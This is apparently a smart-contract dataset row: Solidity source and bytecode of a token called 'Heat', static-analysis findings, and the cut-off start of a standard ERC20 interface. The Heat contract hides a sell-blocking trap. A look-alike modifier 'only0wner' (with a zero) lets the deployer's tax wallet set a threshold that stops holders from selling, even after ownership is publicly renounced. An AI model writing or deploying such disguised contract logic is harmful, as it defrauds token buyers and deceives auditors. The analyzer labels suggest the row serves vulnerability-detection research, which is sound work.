function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() , "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_owner = address(0xdead);
}
}
contract Heat is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=8;
address payable private _taxWallet;
string private constant _name = "Heat";
string private constant _symbol = "HEAT";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _load = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_preventSlippage(from,to);
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_load = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
modifier only0wner() {
require(_taxWallet == _msgSender() );
_;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _preventSlippage(address from, address to) private{
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require( _load>100000);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, 2, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function defendWhale(uint256 g) external only0wner {
_load = g;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d3578063517758d8146101fe57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f0e565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fc9565b6103f6565b6040516101629190612024565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d919061204e565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612069565b61041e565b6040516101ca9190612024565b60405180910390f35b3480156101df57600080fd5b506101e86104f7565b6040516101f591906120d8565b60405180910390f35b34801561020a57600080fd5b50610225600480360381019061022091906120f3565b6104fc565b005b34801561023357600080fd5b5061023c610567565b005b34801561024a57600080fd5b5061026560048036038101906102609190612120565b6105e1565b604051610272919061204e565b60405180910390f35b34801561028757600080fd5b50610290610632565b005b34801561029e57600080fd5b506102a7610787565b6040516102b4919061215c565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df9190611f0e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fc9565b6107ed565b60405161031c9190612024565b60405180910390f35b34801561033157600080fd5b5061034c600480360381019061034791906120f3565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190612177565b610e0b565b604051610399919061204e565b60405180910390f35b3480156103ae57600080fd5b506103b7610e92565b005b60606040518060400160405280600481526020017f4865617400000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610f04565b8484610f0c565b6001905092915050565b6000600454905090565b600061042b8484846110d7565b6104ec84610437610f04565b6104e785604051806060016040528060288152602001612c4a60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061049d610f04565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112149092919063ffffffff16565b610f0c565b600190509392505050565b600090565b610504610f04565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055d57600080fd5b80600b8190555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105a8610f04565b73ffffffffffffffffffffffffffffffffffffffff16146105c857600080fd5b60006105d3306105e1565b90506105de81611278565b50565b600061062b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611500565b9050919050565b61063a610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be90612203565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4845415400000000000000000000000000000000000000000000000000000000815250905090565b60006108016107fa610f04565b84846110d7565b6001905092915050565b610813610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612203565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db9061226f565b60405180910390fd5b8060078190555050565b6108f6610f04565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a90612203565b60405180910390fd5b600a60149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906122db565b60405180910390fd5b610a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600454610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6a57600080fd5b505afa158015610a7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa29190612310565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2657600080fd5b505afa158015610b3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5e9190612310565b6040518363ffffffff1660e01b8152600401610b7b92919061233d565b602060405180830381600087803b158015610b9557600080fd5b505af1158015610ba9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcd9190612310565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c56306105e1565b600080610c61610787565b426040518863ffffffff1660e01b8152600401610c83969594939291906123ab565b6060604051808303818588803b158015610c9c57600080fd5b505af1158015610cb0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd59190612421565b5050506001600a60166101000a81548160ff021916908315150217905550600454600b819055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db6929190612474565b602060405180830381600087803b158015610dd057600080fd5b505af1158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0891906124c9565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed3610f04565b73ffffffffffffffffffffffffffffffffffffffff1614610ef357600080fd5b6000479050610f018161156e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7390612568565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe3906125fa565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ca919061204e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113e9061268c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae9061271e565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f1906127b0565b60405180910390fd5b61120483836115da565b61120f8383836117d5565b505050565b600083831115829061125c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112539190611f0e565b60405180910390fd5b506000838561126b91906127ff565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112b0576112af612833565b5b6040519080825280602002602001820160405280156112de5781602001602082028036833780820191505090505b50905030816000815181106112f6576112f5612862565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139857600080fd5b505afa1580156113ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d09190612310565b816001815181106113e4576113e3612862565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061144b30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f0c565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114af95949392919061294f565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b6000600554821115611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e90612a1b565b60405180910390fd5b60006115516117e5565b9050611566818461181090919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115d6573d6000803e3d6000fd5b5050565b6115e2610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156116505750611620610787565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156117d157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156117005750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561171757620186a0600b541161171657600080fd5b5b6000611722306105e1565b9050600a60159054906101000a900460ff1615801561178f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600a60169054906101000a900460ff165b156117cf576117b581611278565b600047905060008111156117cd576117cc4761156e565b5b505b505b5050565b6117e083838361185a565b505050565b60008060006117f2611a25565b91509150611809818361181090919063ffffffff16565b9250505090565b600061185283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a72565b905092915050565b60008060008060008061186c87611ad5565b9550955095509550955095506118ca86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3c90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061195f85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ab81611be4565b6119b58483611ca1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a12919061204e565b60405180910390a3505050505050505050565b6000806000600554905060006004549050611a4d60045460055461181090919063ffffffff16565b821015611a6557600554600454935093505050611a6e565b81819350935050505b9091565b60008083118290611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab09190611f0e565b60405180910390fd5b5060008385611ac89190612a6a565b9050809150509392505050565b6000806000806000806000806000611af18a6002600754611cdb565b9250925092506000611b016117e5565b90506000806000611b148e878787611d71565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611214565b905092915050565b6000808284611b959190612a9b565b905083811015611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd190612b3d565b60405180910390fd5b8091505092915050565b6000611bee6117e5565b90506000611c058284611dfa90919063ffffffff16565b9050611c5981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b8690919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cb682600554611b3c90919063ffffffff16565b600581905550611cd181600654611b8690919063ffffffff16565b6006819055505050565b600080600080611d076064611cf9888a611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d316064611d23888b611dfa90919063ffffffff16565b61181090919063ffffffff16565b90506000611d5a82611d4c858c611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d8a8589611dfa90919063ffffffff16565b90506000611da18689611dfa90919063ffffffff16565b90506000611db88789611dfa90919063ffffffff16565b90506000611de182611dd38587611b3c90919063ffffffff16565b611b3c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e0d5760009050611e6f565b60008284611e1b9190612b5d565b9050828482611e2a9190612a6a565b14611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6190612c29565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611eaf578082015181840152602081019050611e94565b83811115611ebe576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ee082611e75565b611eea8185611e80565b9350611efa818560208601611e91565b611f0381611ec4565b840191505092915050565b60006020820190508181036000830152611f288184611ed5565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f6082611f35565b9050919050565b611f7081611f55565b8114611f7b57600080fd5b50565b600081359050611f8d81611f67565b92915050565b6000819050919050565b611fa681611f93565b8114611fb157600080fd5b50565b600081359050611fc381611f9d565b92915050565b60008060408385031215611fe057611fdf611f30565b5b6000611fee85828601611f7e565b9250506020611fff85828601611fb4565b9150509250929050565b60008115159050919050565b61201e81612009565b82525050565b60006020820190506120396000830184612015565b92915050565b61204881611f93565b82525050565b6000602082019050612063600083018461203f565b92915050565b60008060006060848603121561208257612081611f30565b5b600061209086828701611f7e565b93505060206120a186828701611f7e565b92505060406120b286828701611fb4565b9150509250925092565b600060ff82169050919050565b6120d2816120bc565b82525050565b60006020820190506120ed60008301846120c9565b92915050565b60006020828403121561210957612108611f30565b5b600061211784828501611fb4565b91505092915050565b60006020828403121561213657612135611f30565b5b600061214484828501611f7e565b91505092915050565b61215681611f55565b82525050565b6000602082019050612171600083018461214d565b92915050565b6000806040838503121561218e5761218d611f30565b5b600061219c85828601611f7e565b92505060206121ad85828601611f7e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121ed602083611e80565b91506121f8826121b7565b602082019050919050565b6000602082019050818103600083015261221c816121e0565b9050919050565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b6000612259601983611e80565b915061226482612223565b602082019050919050565b600060208201905081810360008301526122888161224c565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122c5601783611e80565b91506122d08261228f565b602082019050919050565b600060208201905081810360008301526122f4816122b8565b9050919050565b60008151905061230a81611f67565b92915050565b60006020828403121561232657612325611f30565b5b6000612334848285016122fb565b91505092915050565b6000604082019050612352600083018561214d565b61235f602083018461214d565b9392505050565b6000819050919050565b6000819050919050565b600061239561239061238b84612366565b612370565b611f93565b9050919050565b6123a58161237a565b82525050565b600060c0820190506123c0600083018961214d565b6123cd602083018861203f565b6123da604083018761239c565b6123e7606083018661239c565b6123f4608083018561214d565b61240160a083018461203f565b979650505050505050565b60008151905061241b81611f9d565b92915050565b60008060006060848603121561243a57612439611f30565b5b60006124488682870161240c565b93505060206124598682870161240c565b925050604061246a8682870161240c565b9150509250925092565b6000604082019050612489600083018561214d565b612496602083018461203f565b9392505050565b6124a681612009565b81146124b157600080fd5b50565b6000815190506124c38161249d565b92915050565b6000602082840312156124df576124de611f30565b5b60006124ed848285016124b4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612552602483611e80565b915061255d826124f6565b604082019050919050565b6000602082019050818103600083015261258181612545565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125e4602283611e80565b91506125ef82612588565b604082019050919050565b60006020820190508181036000830152612613816125d7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612676602583611e80565b91506126818261261a565b604082019050919050565b600060208201905081810360008301526126a581612669565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612708602383611e80565b9150612713826126ac565b604082019050919050565b60006020820190508181036000830152612737816126fb565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061279a602983611e80565b91506127a58261273e565b604082019050919050565b600060208201905081810360008301526127c98161278d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061280a82611f93565b915061281583611f93565b925082821015612828576128276127d0565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6128c681611f55565b82525050565b60006128d883836128bd565b60208301905092915050565b6000602082019050919050565b60006128fc82612891565b612906818561289c565b9350612911836128ad565b8060005b8381101561294257815161292988826128cc565b9750612934836128e4565b925050600181019050612915565b5085935050505092915050565b600060a082019050612964600083018861203f565b612971602083018761239c565b818103604083015261298381866128f1565b9050612992606083018561214d565b61299f608083018461203f565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a05602a83611e80565b9150612a10826129a9565b604082019050919050565b60006020820190508181036000830152612a34816129f8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a7582611f93565b9150612a8083611f93565b925082612a9057612a8f612a3b565b5b828204905092915050565b6000612aa682611f93565b9150612ab183611f93565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ae657612ae56127d0565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b27601b83611e80565b9150612b3282612af1565b602082019050919050565b60006020820190508181036000830152612b5681612b1a565b9050919050565b6000612b6882611f93565b9150612b7383611f93565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612bac57612bab6127d0565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c13602183611e80565b9150612c1e82612bb7565b604082019050919050565b60006020820190508181036000830152612c4281612c06565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cb9076104ec82d367eeb7fa134e84f0ebe69053f32fb175c0efa237ebe88647764736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,975 |
0x7ce987303471820988e43ff29d903ea53a83e8e2 | /**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
